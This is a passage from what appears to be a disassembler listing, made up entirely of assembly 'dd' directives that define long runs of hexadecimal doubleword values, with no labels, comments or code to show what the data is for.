0FA022D03h, 0BD78A64Dh dd 45B89455h, 151420F9h, 0DE00E774h, 0A58C1CACh, 0B7F6B691h dd 2BC09C28h, 0F88B78F0h, 1A55283Ch, 57D9F711h, 660044B7h dd 0A14BDF1Bh, 206E771Dh, 42123465h, 0E349A7h, 0E00BAA8Bh dd 0DC205Eh, 52E84631h, 76C65D25h, 70D337E6h, 0F6F27404h dd 29326891h, 0F6FC562Bh, 52F6F1ECh, 245BEB60h, 887CCC92h dd 0EA825868h, 75FEC2AEh, 0B854FCA9h, 13FE46DCh, 7CFCAB7Ah dd 0E3256680h, 2A1C2EB1h, 0D380507Dh, 3658ABB9h, 0AEC61433h dd 681D3862h, 0EAC209B8h, 37F5F8E2h, 96B0F1Ch, 0DCCC8C0Ah dd 0E113C100h, 6C862E43h, 0C4452556h, 0F71AA822h, 4676305Eh dd 789C007Bh, 2CCD40F3h, 0EC6F25D1h, 9F11C45Bh, 39450E18h dd 7B00BFD6h, 3E73EB3Ah, 4BDC6B3Ch, 9D0C810Bh, 6EE00919h dd 0F5C9639h, 5E049747h, 1ECECCDh, 104886FFh, 0D50026ECh dd 8A59FAAEh, 0AB3800E8h, 2C320753h, 76C40C0Dh, 0DA38CD3Dh dd 68F35F5Ah, 502D6910h, 0E8588EFEh, 84EC9214h, 0E170D680h dd 3002D433h, 430E653Fh, 98905D22h, 623E1241h, 78B82F50h dd 0DC265228h, 4DA1017Fh, 62767EB4h, 2FD5E41Dh, 2D6D4200h dd 73A9D2FBh, 0AB643CC0h dd 0E7C2A30Ch, 0A6F6A281h, 2BEC200Bh, 4894100Fh, 4054B46Ch dd 21675458h, 0FA4F8B25h, 0A4D525F8h, 562518C6h, 24B4C041h dd 0D0E69766h, 8CD26C01h, 1ACC9455h, 338CD46h, 0C2CEDA34h dd 104E8FB6h, 5F0F5C80h, 0BE87015Ah, 0DC296BD8h, 0ECE1A6E6h dd 0A8C7A93Fh, 28ED7604h, 7EAB2C01h, 0FC04E1h, 71D994h dd 1ED3AC3Ch, 5B2CE040h, 482E65Fh, 44345CB8h, 3CEC56D8h dd 0A575F501h, 795F2E2h, 4C4D939h, 80D6FF94h, 0BE5E7BEEh dd 0F52DAE12h, 0C798AF01h, 29803442h, 0D60FA395h, 0E3005D0Bh dd 1B746E4Dh, 0E829B21h, 3318F62Ch, 5487DA29h, 690038DEh dd 7EC68747h, 0D882B5C9h, 445AACA8h, 0A1654815h, 800C0954h dd 96C7320h, 0F8D41509h, 9CF905F4h, 0EA38EC5Ch, 7223E43Bh dd 5E75580Bh, 8C716974h, 87084F07h, 0C7D7BC70h, 82E7004Dh dd 0CECF9FD3h, 2AEF5ED8h, 7BE200B3h, 1A5C930h, 0F045AE15h dd 2B060E37h, 6BEF5495h, 0E8F02614h, 12813E08h, 594C0197h dd 2A8C7BC7h, 0C02006Bh, 0E9BE304Bh, 0CAC788E1h, 0F9924CB5h dd 0CFF060B8h, 0A22D3AF2h, 0E5E46DD2h, 1C94F2F0h, 0EC81EF2Eh dd 0C272528h, 0F5B61830h, 8424AE05h, 0D17820FBh, 3600E1EAh dd 41E62F7Eh, 21F90CEh, 47595A25h, 18608107h, 989CA899h dd 0F044C4ADh, 3C812576h, 0C5A55873h, 6076E420h, 0D24D90h dd 12E11DBEh, 0CFDD62B7h, 2880A16Fh, 1C65259Fh, 711ACE61h dd 0B288123Ah, 0A5E18818h, 0CA4BC870h, 0C23F1899h, 56096198h dd 48B5EB34h, 5E098207h, 1EC2ECC1h, 5C0043EDh, 0D70E3429h dd 32B158E5h, 0C188FCB2h, 465CA468h, 32FD007Bh, 0D810FCB5h dd 9539EAB3h, 320EC94h, 256A73A6h, 1871715Bh, 335360C4h dd 0DD8D454h, 2B006150h, 6CB7DC02h, 148738Eh, 0F525F97Eh dd 4EBF4978h, 0C0F78898h, 0B68506F8h, 0ED142E03h, 0FA68F62Dh dd 8498F413h, 0EFCCBACBh, 0E700E46Bh, 72DA2ED3h, 3E2FA6BEh dd 0E4844EEh, 0EB514732h, 401215C7h, 0AF250AE5h, 56CE5201h dd 0C8B3394h, 0F134D26Bh, 91D8972Bh, 0F028809Fh, 1C40740h dd 2D983D9Bh, 0FA665CC0h, 91603557h, 83A38076h, 0F245D150h dd 8F790153h, 0A2F4D38Eh, 0D4CF2ADAh, 72C17188h, 812F607Bh dd 4246965Ch, 4520E3ECh, 0F4DE6E5h, 6D2BAB81h, 175EB0C0h dd 800526FFh, 0F9BF68A1h, 6184F4FCh, 101481h, 21E21883h dd 25B848Eh, 54A1361Ch, 54FC60h, 6D145502h, 5E6854AAh dd 43073146h, 0AB7901DBh, 8B65E85Ch, 0AB1E00EDh, 34C34E44h dd 84E213h, 0D7225163h, 0EB74Fh, 15EE36D1h, 0C3DFAC73h dd 0C0CCB44Ah, 0B1140283h, 913F0F03h, 0F4D45Eh, 3687705Dh dd 0FED6FBC3h, 0CA9EF507h, 0F2D91776h, 120C5AF0h, 0B4F43030h dd 991FA41Fh, 0AAC1F8FFh, 91F2B2ADh, 73850B07h, 0A0A8B719h dd 44FECA6h, 0F54D5BCh, 77CE4040h, 2D27864Dh, 28799835h dd 97C84EA5h, 0D3121435h, 4F13FD0Eh, 0CB53A0DEh, 9DEDC67Bh dd 8C07C490h, 77D9C701h, 3BC0DE08h, 1EE00EE9h, 0E09B4EB1h dd 48943288h, 0DCFC7625h, 6C8EBF00h, 2D99C480h, 0F6434FE0h dd 6B8BE0ACh, 0F16A2584h, 0CB377858h, 0DB872191h, 2186E86h dd 0AB9AC483h, 945226D6h, 290173F0h, 9B48495Ah, 430A33Fh dd 0D2390578h, 0C723B7FFh, 0CC7C7268h, 3258E4DBh, 222BF1BDh dd 744013E4h, 94F56C6h, 0AC318A0h, 61807A63h, 259B0784h dd 41DA9022h, 9A5A95CDh, 6F21A8E6h, 3ABA8202h, 94462BF0h dd 0DBA840F5h, 21008FE9h, 33B5F3DAh, 54886C5h, 8DF7EBC2h dd 0C4840038h, 0B5F1DC98h, 8C2A3B13h, 0D2AC0CADh, 9A6EE704h dd 0FCAC1C2Fh, 6C33BBD2h, 302D8966h, 71013A00h, 0FA89CB0Bh dd 7924D1BEh, 28018F9h, 11FD70FEh, 74609B0Dh, 55829089h dd 99022496h, 5B2FB430h, 49CF1A6h, 269750CBh, 9B60D388h dd 3DB08200h, 407A4Dh, 0AF5545C9h, 0A9D4736Dh, 26760701h dd 938D0EDBh, 72C7A2Ah, 0FE290968h, 66FF5DE1h, 0B9EC813Ah dd 0AA8A01C5h, 0BE88E42Bh, 5320E4B0h, 6FE91F7Ch, 8383FCE7h dd 2766BAE2h, 4EE58BA0h, 0ED749490h, 71D3902Dh, 0EBDC806Ch dd 0BBE243C9h, 6C8B854Bh, 7461C721h, 289A6523h, 180321CBh dd 491D823Bh, 0C625258Bh, 0C426176Ch, 0BCA8A853h, 0B8128C91h dd 0C0CBFC1Ah, 0B4C074C8h, 723236h, 33BDF60Dh, 0D5D73CA7h dd 8B5E5F72h, 0B64A2843h, 59A2808Dh, 0FCF3EED3h, 0D8B3610Ah dd 72DB080Eh, 68A284E4h, 6EEA2095h, 65D0040h, 12CEF422h dd 588D64BDh, 0A36CBC9Eh, 9B595B1Ah, 948E8048h, 0B71FFD7Dh dd 0CC07AC10h, 0EB463F1Eh, 0F180DE9Dh, 8BB95B5Ah, 0D6D10055h dd 997BDA7Fh, 252566C6h, 26FC6E2Bh, 46506D48h, 0ACBC6A2Ch dd 0CB9542h, 6736ACC1h, 709CC495h, 0C0EC481Eh, 8985E2Eh dd 6F80400Eh, 0F53615FDh, 0F0644A7Ch, 0B0275C64h, 9970E827h dd 1CB67BEFh, 0DF3DBA78h, 3F040061h, 0D03E9FD8h, 0A04D2227h dd 7C24E834h, 0E161033Dh, 9E791F9Ch, 8882BEE0h, 8A0B8EFEh dd 0FEDF333Fh, 0B0B20024h, 0D7C57E66h, 97703697h, 0EC0346Dh dd 251AAD67h, 24799849h, 0D428F46Bh, 0B28CC400h, 362ACC37h dd 0BF1F0789h, 7BCD76C6h, 328888D6h, 81C24CFh, 0A206281Dh dd 9519FA52h, 8C088C66h, 0ADC04A5Ah, 7A08585Bh, 0C0D4E9E2h dd 0AFB709D4h, 1CC09D1Ah, 7C0F70E4h, 0CB9A23C6h, 0D6485C94h dd 0FC043346h, 0AE6A88AFh, 6EFA6424h, 0EE270244h, 0E7BA0824h dd 603044B4h, 62EE8E69h, 0F91268E5h, 3216B054h, 0A4D6480Ah dd 59987BADh, 56189Dh, 4A48DA0h, 68B03F6Ch, 419F792Dh dd 982BFC30h, 8E20527Ch, 0A3F14AC7h, 0A1F90E98h, 0BE018158h dd 0C423DA23h, 0AC22EC0Eh, 0D96AC140h, 90958DE9h, 718970h dd 29380C02h, 5F4586Eh, 0DDF13B1Ch, 447DBE8Bh, 3EA300F4h dd 0CC4F3243h, 3B481799h, 2C7B00B5h, 0B3BD5E5Ch, 79673A15h dd 0FCECF04Eh, 0B6258CACh, 5987119h, 0E85B716Ah, 200E2DB4h dd 601E509Ch, 0FE150044h, 5CC676BEh, 0F014A09Bh, 20B824CAh dd 5AA09293h, 0E224B3DCh, 68D53033h, 0C88B9A2Dh, 0FE6AEB8h dd 0F8FB8861h, 9CAB20E7h, 0B4121931h, 30BCEA38h, 0B81ED101h dd 3F897194h, 3023D43Eh, 0F0E08800h, 7C58AB8Ah, 0D3111256h dd 0C808CE7Bh, 99CEC03Eh, 9298D95Eh, 0A976C40Bh, 5CAC6923h dd 0BC8C8214h, 6962C05Ch, 18D7B2h, 0F7047F0Dh, 5B796F0Eh dd 1C6CECF1h, 0FC263416h, 8C90EC68h, 7EA5D101h, 4B2168AFh dd 8F358A7h, 671C817Bh, 1242CDF8h, 0B0C851BEh, 0F84A2914h dd 0A01B70E1h, 6AC0C2C0h, 0B5ADBB3h, 0F6D708E3h, 0C96AA060h dd 0EE3DECC5h, 204B00BCh, 63188050h, 1E760F2Dh, 609B60D3h dd 2B104780h, 7F090350h, 827D78E4h, 0DED08100h, 719F4020h dd 9200EA62h, 7568E85Eh, 0F85B98Ch, 0EF5A49CDh, 7C536529h dd 0BFC9570h, 7FA8F577h, 7E436C54h, 2F11D861h, 0CAD90998h dd 5CFCDD6Eh, 37ACB725h, 96C04FE2h, 82FACEAAh, 2CC2834Bh dd 0C53302D3h, 0EDE405h, 30E8BB25h, 0B161883h, 0CCBB611h dd 0C7C473C8h, 22E5A481h, 8F66044h, 0D5C2BE0h, 9593880h dd 2AFAACD1h, 54491C76h, 0F312DC08h, 0F3001481h, 216A4BD4h dd 0E47D4A47h, 382522F4h, 0DED8DEDFh, 0B2718B07h, 6C329432h dd 0F409579Dh, 2400C076h, 19688EA8h, 845297CBh, 13EBCF5Ch dd 84088FF6h, 0A9849220h, 0C8612EC0h, 0C248F901h, 5838182Dh dd 0D85C894Ah, 8301B372h dd 2F7C8AC1h, 58D8F448h, 0A0D87168h, 84A46698h, 0E105A670h dd 97753463h, 23BC3BFAh, 80780072h, 37704F12h, 0E6E1F925h dd 3066B5A8h, 0ADE65488h, 270E958h, 0FA18F715h, 40DC7440h dd 0B0E22223h, 0D200F378h, 75F06384h, 40E1964h, 0DE997B0Ch dd 3D30F48Bh, 0B8FFC700h, 8107E608h, 9EC90033h, 0FE1DB003h dd 84127EF2h, 94F238F0h, 0ACACBD88h, 583C4674h, 16670019h dd 0BA40A96Ch, 2D39F4ABh, 0CE5A408h, 0D16031E4h, 5B07F84Ch dd 3A2CA62Ah, 0C08DF642h, 275DBC24h, 0C4828AE4h, 40C1F7EAh dd 0D03471BDh, 63F8FC5Bh, 7B40BC9Ch, 48B0C635h, 0EE0423F7h dd 0AEA7F91Eh, 2BBED474h, 7523E4h, 7FB5C65Fh, 46127A06h dd 0D0F3FE4Dh, 3ED9FD84h, 0B10E3F23h, 0F2070782h, 28E4AFC1h dd 1185C62h, 54F36948h, 0F23B5E70h, 0E2038062h, 0FBA5E3BEh dd 0AEC30421h, 0B9A172C2h, 37580BB4h, 0C9A05C65h, 0D450D4h dd 0A91C3E40h, 7D0A1A42h, 0CF71F000h, 94BA9758h, 0ACEB09C0h dd 0E0C56235h, 336096E4h, 0DE008055h, 0BFA548BCh, 5D17796Ah dd 4F22EC68h, 1F6D6000h, 5D2E809Ah, 47EA1E57h, 83EB81E7h dd 2BBE6439h, 0F8C14D8h, 0B869B713h, 12C32D85h, 0B88CBD0Ch dd 5D2B00A0h, 66C6386Eh, 30BFCAB9h, 0CD3F20h, 6BC78587h dd 46A3B8F4h, 5C6C0B9Fh, 6A00DCC8h, 173C841Bh, 12EF2CEh dd 8C407669h, 3989588Fh, 381D01B0h, 0E65250F6h, 0C43D5DF0h dd 0BEAA8A99h, 0F8B9A894h, 118B8288h, 44B870EFh, 80B38E47h dd 0E827F804h, 0AFBDE8D0h, 1E1200C5h, 0AC2CFFAEh, 0C9302943h dd 0C5421EEh, 1A1F008Eh, 9BAF03DFh, 24B89746h, 8440D33Bh dd 60A4AB32h, 5E1FF8A8h, 903D9856h, 74B53A8h, 0ACC268ACh dd 7C564D1Ah, 2C7925h, 0ECE49B3Ch, 0A0025906h, 4AB68130h dd 1424FDE5h, 7C38058Ch, 0DF282404h, 6580F0E8h, 0A10AFACFh dd 0BC87D582h, 779C2BFh, 2B863449h, 0C48004C1h, 13618B30h dd 90F5665Eh, 54A17778h, 0BFDE7A12h, 2E27CC8h, 0B662D5ABh dd 0AC542687h, 7A60D0A4h, 166A94h, 0F28CAB39h, 8E1392F8h dd 0ECCA1005h, 3804F78h, 9FF95B67h, 1C2C461h, 58C6AA82h dd 0B4DE0054h, 0C61064D7h, 40756624h, 0C4267A05h, 64FC8956h dd 4869FC0Fh, 40D19D89h, 22E35704h, 0E9AC40BFh, 0CED9566Ch dd 0ED830C2h, 82E851B8h, 0ACF2CAADh, 1E2760D0h, 0A410E1E7h dd 80DC926Bh, 3218B875h, 2A460067h, 43AF6B95h, 0B22D8AD7h dd 0B480604Eh, 0C7012710h, 731B84E1h, 8839F0h, 99F0242Dh dd 0A27EC6F6h, 401C5E7Ch, 0BE451EC4h, 4FB76603h, 98C00BD7h dd 11164883h, 1264D3Ch, 0A7B712AAh, 0E62E46DEh, 0A6B5E0B0h dd 21B80017h, 6795345Bh, 0A4A9AC8Ah, 0C6EA201Eh, 7B48A603h dd 1789B017h, 252DADB0h, 0FDF081E8h, 0B3B8003Dh, 0ACC1B766h dd 24C5F17Ch, 0BE497220h, 0CCAD4BB4h, 2B001DB8h, 0A57C52C1h dd 9DCC963Eh, 9865835h, 20B0D0E6h, 2D0229D5h, 79675B7Ch dd 0A29380FFh, 0B7081FCCh, 26034EDh, 68F65h, 5D6F0D35h dd 28EA20B8h, 0DB93100Dh, 0B32A885Fh, 3070B280h, 0D52DEFCEh dd 6B487BA5h, 1DD4D4DCh, 9E241430h, 2AECC2DCh, 3CF6448Bh dd 0DCC75109h, 8C1FDC18h, 0EC802DB4h, 57C5BC50h, 2AC99E5h dd 0E2FEBB22h, 4396A8D3h, 0F4018C90h, 0F5F60165h, 0D2C16E59h dd 2C4730D6h, 9900A4EEh, 0DF9CC5D7h, 0BD16CAACh, 0AE8A4440h dd 0F101F4A8h, 7D1F3600h, 90E6CF74h, 7A22251Bh, 9569474h dd 0FDBF688Eh, 4A11248Fh, 2CD8C8h, 8515704Bh, 0EA55F668h dd 5DBBC00h, 0AFB9C08Ah, 0E90D0161h, 291AA5BFh, 0AC222F94h dd 6DFC6A13h, 9AF5E084h, 2200A4F9h, 1A72DEE2h, 0E250DEBh dd 0AB762071h, 845B2834h, 28F4F5E8h, 8C77E8B4h, 5D82C401h dd 76C6545Bh, 0ABF8943Fh, 2C0A88DDh, 0A5C07A88h, 2C644FAh dd 41893416h, 42577F2Fh, 0F0B57588h, 16254880h, 56E23D0h dd 0BAF734C6h, 0AE38D5AAh, 8A67A828h, 0AEA498FDh, 987A27F2h dd 268100FBh, 22286F48h, 58412C02h, 0A42C58F1h, 43C1283Dh dd 48E98876h, 94A4654Ah, 54E4B5D8h, 0D7092C1Fh, 0B2C31841h dd 9B6EBF89h, 0D0D38024h, 4CE2F57h, 1A2D4C4Ah, 4A54EC39h dd 0B10084BCh, 8DBD6B54h, 9917DB1Dh, 0F0F2EE3Eh, 0A03392F2h dd 4B9BE0Dh, 0C2AEFDCDh, 174B8C6h, 0C32962E9h, 7A6BBAD5h dd 38660558h, 30AB1D2Fh, 6BAF4C0h, 1AD7E4AAh, 0A0ED7588h dd 818203C0h, 226B2DDDh, 0C60024F9h, 5BF2643Ch, 0BAD85053h dd 83DC3AD0h, 69DA400h, 3624E48Fh, 0AE254899h, 0AFF9C75Ch dd 691E604Eh, 97DA4392h, 6D9724D2h, 66DAC00Ch, 0E7542720h dd 613A038Ch, 7A4B87A8h, 0AEFE0A3Bh, 0A57E64B4h, 4BD8A0F0h dd 68E38Fh, 0F1892039h, 0E28244h, 0A7FD1115h, 98068C7Dh dd 0EE7F0D00h, 0C5F6128Bh, 0B9CA05A6h, 0AF99C4D9h, 8A2A474h dd 4E3070B2h, 9DFD0987h, 0F8811828h, 6BCD4A53h, 0DB3EA4DDh dd 0BC0E80E8h, 0BD4FF8h, 58A1A9C2h, 9226ACC5h, 6A28A563h dd 744B9A21h, 0A45BE954h, 547FB70h, 726DCF9Ah, 2054FCFCh dd 0B48A5289h, 5DF45200h, 1445C67h, 614E421Fh, 3EEEFB12h dd 0FE23A8h, 5B2F65D8h, 4995EC06h, 7810CF0Ch, 9F31D6B9h dd 86BEE0A9h, 0CC90A6h, 87319325h, 539741AEh, 0C7F873A0h dd 737E1B4Bh, 0F618B725h, 0A6AD1318h, 33FAA264h, 771330D7h dd 4D4C71CCh, 989080B4h, 4AC20628h, 6624F09Bh, 27115612h dd 0DE25681Dh, 9AF340FCh, 0EB057E90h, 42ED48A4h, 0E539FD80h dd 27FF1392h, 3080C581h, 32177098h, 0C575B30Ch, 2FAE45A2h dd 9462348Eh, 0B5540077h, 2DAF103Bh, 0F0E09EC2h, 0DA957194h dd 0A71D0274h, 156369ECh, 0E860A1DDh, 3A2957h, 0E356AC98h dd 0CA22288Ah, 8CA29793h, 70E1A612h, 3AE2E1DDh, 0DBE0D4E6h dd 0F405EBABh, 21664BE6h, 3AF288F3h, 1B88630h, 0A82589D4h dd 0DDE5035Dh, 0F4403A27h, 8B3BBD06h, 668524DFh, 0F11B00E5h dd 0A2AB3347h, 900449D2h, 0A4E0DD6Eh, 0DEFC00DAh, 0D0788AB8h dd 0F312BC9h, 9268294Bh, 15D0BC8h, 78056FA6h, 3E9522A0h dd 57CFD8D2h, 2301D8B7h, 4C1B4D4Fh, 13D58E20h, 0E3B6D99Ah dd 2D3204A8h, 12BB52BBh, 182DAF38h, 6000DC63h, 403371C2h dd 871F9BE0h, 6F406D88h, 24591CEEh, 0F9D42589h, 0F151105Eh dd 88C8CF2Bh, 1A4EC03Ah, 0D9026DCEh, 9C29FB7Dh, 94C7ECFh dd 467820Fh, 8D607BC4h, 90002DAEh, 308AE5F1h, 2D56644Ah dd 0CC793D61h, 0E8502FDDh, 0C064ED9Dh, 0C156C4F8h, 0DCF02C68h dd 0D041B217h, 526E45Ch, 5DCCED2h, 0F0BDC7E8h, 798AC0DCh dd 0C0091754h, 75CA9258h, 7303A481h, 401D08DEh, 56126EEFh dd 7CF72149h, 38C8E25Eh, 0E0057F01h, 0B87C2F8Dh, 0D6B430AFh dd 0A84B36CAh, 0B0836CDCh, 974C90C0h, 7856F81Ah, 0E518FB5Eh dd 0B39CAA05h, 0A0E4425Ch, 297C5Eh, 0FA8CC296h, 7E709FFFh dd 0C2CE248h, 0D025156Eh, 52A33A22h, 3494C3CEh, 0C8F3F9CBh dd 68C0DF93h, 0C0958753h, 93CA60Ch, 9B9501E8h, 5EA7D85Bh dd 3FA0D480h, 0C125E551h, 0AFD860ACh, 0E377825Dh, 69029C90h dd 4F57ADB9h, 0E920E05Ch, 74415316h, 5B90E72Ah, 8AA018E6h dd 7E4E3056h, 0DB6A108Dh, 49E780D8h, 49766629h, 2C13DCD1h dd 7D888D7Ch, 6BD0B9F4h, 3F15029Dh, 0EE1DA486h, 0EDC345Ch dd 1216B6BAh, 0E8DA6724h, 40DB4B48h, 0C729C384h, 0C2AB6011h dd 0E8A26FECh, 58C9D48Bh dd 90403F0Eh, 9A39203Dh, 5B6C7F9Eh, 0DE90D0A0h, 8C092F9Ch dd 0C7CD913Eh, 607244A4h, 90CA5CBDh, 0B7715BDFh, 0C4222EB4h dd 28E30A08h, 6CBFBFE4h, 7E0C9A80h, 298548Ch, 0F33C2414h dd 98637DBCh, 5B9F2900h, 0D246A38Bh, 0FAEC00EDh, 0EAE75888h dd 7E901AEEh, 97018C84h, 9B6BAF23h, 43BDB72h, 0BBB05CCCh dd 0D83F82Ah, 0C5FBDE35h, 9A8A9CC8h, 0EEAFAB25h, 38AB9774h dd 6080B0B7h, 0B504D27Eh, 0CF100453h, 0AB8E22CAh, 0F63468CEh dd 186EAFA1h, 0A32DB502h, 6C00C632h, 81C42556h, 59BFE411h dd 0A2A4D700h, 0BE612CD4h, 0F879957Dh, 20ECA5h, 26A924A6h dd 7EC8713Bh, 1C4E3324h, 274FA853h, 98C41692h, 614C04F9h dd 5AA207C9h, 0BE09CC24h, 6B032802h, 72AFA404h, 512B8D80h dd 999F3FC8h, 409C9CEBh, 66C18172h, 0B597CAEEh, 873F91FCh dd 2DC017DDh, 13100BE7h, 5E537967h, 0A0A6F9C0h, 0E0253Fh dd 8231FAAEh, 250DA8A7h, 5AA5D8ECh, 9658F363h, 7A23642Eh dd 0F0CAEB00h, 0E9B8135h, 7513746Bh, 0DEA55F41h, 4FD1D3A8h dd 2C38703Eh, 0C32938C4h, 548B2C88h, 7BFC94h, 9D1A855h dd 0F41E92AFh, 713B700h, 510BE0B3h, 0B0EA073Ah, 0F0ACDB38h dd 430C8E5Fh, 76893F02h, 78FE8A6Eh, 4A2900F4h, 0E9447D40h dd 13002A8Dh, 52725ABEh, 2DB0E6h, 7559BD14h, 0E7620310h dd 87362E00h, 7C7360A0h, 2D2B00E6h, 7D7ABAB2h, 0AF077952h dd 94961266h, 91706770h, 8D1000Ch, 7F7A372Fh, 0ECED181Fh dd 5C00B028h, 8AEC4079h, 1BBA4Dh, 0CF1722BFh, 3A9FDD9Eh dd 381ED400h, 4E12551Ch, 675F3915h, 6E262E87h, 0BF87F085h dd 4907746Fh, 0D8ED24E3h, 38212FA0h, 0B81200D5h, 0D2EF1583h dd 360B197Bh, 0F90E4A6h, 1A540337h, 21D8D8D3h, 762300EDh dd 288703D2h, 3E00DD27h, 0DCAA694h, 3E58F85Ch, 35807274h dd 1B4093Ch, 807F74Bh, 18D76D63h, 0BD8DD510h, 30A5121Ch dd 9A4003Ah, 36EF4F1Fh, 0C6F67C00h, 0BA9EB4E6h, 7940B7Dh dd 20400A6Ch, 0CC00E37Fh, 0A71FF5E9h, 0D1B777h, 0D3E04856h dd 0B0EF7B7Eh, 11ABA400h, 18460ACBh, 929700D7h, 346EDFF7h dd 8FE86C90h, 271E6A12h, 720C4C40h, 0CFE35Ah, 0E728DEE8h dd 832CF791h, 0A5F4CE00h, 318BBBB0h, 0E0C2018Ah, 47899B9Ch dd 610ADD71h, 0B8F08E12h, 6FAFE0D6h, 189C9AB5h, 48E69376h dd 6E00F894h, 0BD243FCFh, 0F51920h, 1B1C7D85h, 0CBE348FFh dd 562BE417h, 0FA67C100h, 3D27747h, 694B3DF1h, 0CBBB04CCh dd 0A90FEEF8h, 3F7C5600h, 0D68C423h, 0F51E00F3h, 4DF6CAFCh dd 34FA757Fh, 8F373D3Bh, 0FB788690h, 98B4B389h, 21BB796h dd 0B4C1051h, 5C006141h, 0A5CB09h, 9624F74Fh, 0F8E17C2Bh dd 9F80FB00h, 40E4C546h, 42E503BCh, 6A8818CEh, 0A0A0AAE2h dd 0CC5808Dh, 3733EE00h, 0C80376E8h, 0EB7C0005h, 749FB327h dd 0BC0184A1h, 0F22DDE66h, 0E080D6A9h, 0E10C2FA5h, 0F8033732h dd 338F5C54h, 97B4C829h, 5AE4001Fh, 8E0FEB78h, 0DE003195h dd 0B6AC7F7h, 4C7C7B92h, 6F4C5A09h, 7DA4100Eh, 8415E421h dd 0EB5F434h, 7ECB4601h, 6A4B5171h, 4EB32C20h, 747CA4C7h dd 6C02CDECh, 53ED37Ah, 0FD648024h, 0FBFA0FBh, 0E5DF4CB0h dd 0EAB7CF1Dh, 0E0522180h, 0A40279B6h, 5CB2596Fh, 693040B5h dd 0BC6B0F6Eh, 7D403C49h, 8872C3A1h, 0C68E310Bh, 3E98D0ECh dd 0A683AAE9h, 0B50FAD8Ch, 8041E582h, 0FF5FDC19h, 0E9BD0603h dd 0AB99C6h, 0B30A57A9h, 0BC984AE3h, 55AE6303h, 0C8E2C31Bh dd 0FA822C41h, 0D8A10E81h, 0FA6CDE38h, 202C450h, 1ED0C0E1h dd 34106831h, 4C0A00CAh, 6A58E61Ch, 3A7F9DF9h, 0D2C43F18h dd 274DE39h, 0BB8EEFE5h, 0B3E0E435h, 1400AE52h, 9981B6EBh dd 19532A4h, 0C943925Fh, 30804EEAh, 0DD00C57Bh, 658B4A03h dd 26257779h, 3D33213Eh, 0B4447000h, 0A3544C26h, 37DA1209h dd 64108711h, 0D1B87500h, 0FFD80C2Dh, 0E528B5F9h, 0CD0EC17Ah dd 0C034BA81h, 0CE802833h, 0E3D700A4h, 5D86DAE4h, 0D000AC92h dd 9C6CF48Bh, 4160EA6h, 88CDA2E2h, 10BCA087h, 6346C300h dd 412878C5h, 187CAFh, 7A7FB8E0h, 0CBC881Dh, 48E43300h dd 0DA70F19Ah, 73DC0117h, 0DB2F0932h, 9BEF3024h, 0A7BF7500h dd 0F9716C57h, 5D90013Eh, 4DA43505h, 93CEF052h, 0BE874801h dd 0F253F8C1h, 3E869820h, 6812846Ah, 262D017Ah, 64D111B4h dd 8938FE50h, 64EB00A0h, 28C6B31Dh, 8A4802B6h, 12DA90A9h dd 2AD69440h, 0AC70EE00h, 38375643h, 0D82738FEh, 9F2EC50h dd 1BBBAFEFh, 123BAA80h, 4500851Ah, 3EFB4C4Bh, 50E1249Fh dd 94EF063h, 7FAFBFA7h, 251A8AAh, 56E71CBCh, 9690E260h dd 0A20A8971h, 0D4DDD666h, 7148C500h, 793E3629h, 0F40100C1h dd 4D7A211Ch, 90044745h, 0C440AE61h, 0D46FCC80h, 0E3760F95h dd 9400429Ah, 0C14D09Eh, 821B2214h, 268E00D9h, 461FDC7Ch dd 6F590AF7h, 3CFC7A34h, 0A421BD03h, 58882705h, 0A500370Ch dd 59772D69h, 0E6481A7Dh, 91A8005Ch, 0AFB98BE4h, 0D101EED0h dd 634AC41Fh, 0ADC0FC6h, 3FC00C1h, 0E1B399B9h, 4400E8DEh dd 8C17DB4Fh, 0E8AB8B53h, 27760078h, 0B8223930h, 0FE005C59h dd 9CE80AB5h, 0A88FA1h, 8A15BA6Fh, 0B9751CC5h, 0CA0BD000h dd 0A457E81Dh, 96E30009h, 8C638993h, 0E0015B52h, 18D19199h dd 0ED3032ADh, 0B7200E2h, 0AFF110CDh, 0A1799F4Eh, 59DFC407h dd 81709B30h, 88D59Ch, 46C7BF92h, 93E4242Dh, 8C00B090h dd 0FFF357Dh, 3E3E214Ch, 568040E3h, 0C0B895B2h, 24007DE1h dd 0D062EAA5h, 0ED5C8Ch, 7C70473h, 35854F52h, 0E8CA8200h dd 0B8E9B04Ch, 9EFF00E3h, 0F1D00754h, 0BA3DADCFh, 0FD5E00C2h dd 0C70CDAF2h, 4C0E0751h, 0C430CC33h, 89ACF414h, 1A070500h dd 0AC68F521h, 90770F9Dh, 94A0A226h, 0EBAAA7ADh, 0FE80A500h dd 3F08E70Bh, 964C00E0h, 2D17DCCh, 61018F44h, 0D37EB6B3h dd 1831481Ch, 7BBBE8h, 0F4431FD2h, 6DA38A58h, 0BBACC04h dd 8B8FACFh, 33637871h, 3211F508h, 42D21C0h, 0A651DE13h dd 8024984Bh, 0C5966CDCh, 0E8FB98BBh, 7D581E8Ch, 22EA8BAAh dd 87F76980h, 239D03A6h, 0D64D0BCCh, 63C22D59h, 0F943D886h dd 0D43EB91Eh, 4FCF817Fh, 0DED21183h, 8652E0h, 6A9F53C1h dd 68BA21C8h, 28E70CFh, 801EA745h, 22651030h, 87E707C0h dd 4BFFC4FDh, 25B24801h, 0DC344067h, 0A000A652h, 0EDFCF4Bh dd 0F8BF863Ch, 73E300F0h, 0A2DACE96h, 930F0224h, 0A370235Ah dd 81FA52E2h, 0B0C78CAEh, 4BB03Dh, 1D1E8E83h, 0D309D044h dd 99EC6000h, 2802CC6h, 346407BBh, 20B63DCCh, 0A7A3AD23h dd 0DB09030Bh, 57E80ACAh, 0E311EC00h, 0C654DCh, 55A1AD73h dd 0DDF49017h, 57E11C0Eh, 0FB81C03Fh, 85E08Eh, 0DE9C8471h dd 0E9A5B3B2h, 0F6E8B478h, 1393C300h, 0B72922A9h, 1D0F00E7h dd 3B8C9902h, 0BA00C298h, 20898540h, 0EADA650h, 978136D0h dd 0D9D32DA0h, 8A01E31Eh, 0DE35FB94h, 46FC72D5h, 2065BD83h dd 2E882750h, 1C3B792Fh, 1CE967ABh, 0E85D3B26h, 0CD95F740h dd 15CA85Dh, 0F604FA6Fh, 3B3AE48Dh, 0E05F0CA2h, 83888618h dd 0D3F02518h, 4200C04Ch, 5703634Eh, 4FA4A7EDh, 76D888ECh dd 0D2B86F1Fh, 0C4C6D0C0h, 430B5C5h, 1415775Dh, 8485BF6Eh dd 0A8E0F4B6h, 520004CDh, 42661ED5h, 12CA6319h, 12B25E6Eh dd 986EFE88h, 0CA386800h dd 83A3B834h, 27B9C41Ah, 